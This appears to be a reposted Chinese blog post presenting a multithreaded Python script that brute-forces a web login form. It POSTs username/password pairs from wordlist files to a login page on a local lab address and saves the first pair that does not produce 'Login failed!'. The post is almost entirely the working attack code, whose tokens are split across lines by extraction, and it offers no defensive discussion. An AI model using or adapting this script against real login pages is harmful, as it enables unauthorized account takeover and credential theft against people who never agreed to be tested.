多线程爆破脚本
import requests
import threading
import os
BLOCK_SIZE
= 1000
class ThreadWork:
url
= "http://192.168.0.109/WeakPassword/login.php"
headers
={
"User-Agent": "Mozilla / 5.0(WindowsNT10.0;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
}
def __init__(self
,username
,password
):
self
.username
= username
self
.password
= password
def run(self
,username
,password
):
data
= {
'username': username
,
'password': password
,
'submit': '%E7%99%BB%E5%BD%95'
}
print("username: {},password: {}".format(username
, password
))
response
= requests
.post
(self
.url
, data
=data
, headers
=self
.headers
)
if 'Login failed!' in response
.text
:
pass
else:
print("success!!! username: {}, password: {}".format(username
, password
))
resultFile
= open('result', 'w')
resultFile
.write
("success!!! username: {}, password: {}".format(username
, password
))
resultFile
.close
()
os
._exit
(0)
def start(self
):
for userItem
in self
.username
:
for pwdItem
in self
.password
:
self
.run
(userItem
,pwdItem
)
def BruteForceHttp():
listUsername
= [line
.strip
() for line
in open("username")]
listPassword
= [line
.strip
() for line
in open("passwords")]
blockUsername
= partition
(listUsername
, BLOCK_SIZE
)
blockPassowrd
= partition
(listPassword
, BLOCK_SIZE
)
threads
= []
for sonUserBlock
in blockUsername
:
for sonPwdBlock
in blockPassowrd
:
work
= ThreadWork
(sonUserBlock
,sonPwdBlock
)
workThread
= threading
.Thread
(target
=work
.start
)
threads
.append
(workThread
)
for t
in threads
:
t
.start
()
for t
in threads
:
t
.join
()
def partition(ls
, size
):
return [ls
[i
:i
+ size
] for i
in range(0, len(ls
), size
)]
if __name__
== '__main__':
BruteForceHttp
()
运行结果
转载请注明原文地址: https://lol.8miu.com/read-25708.html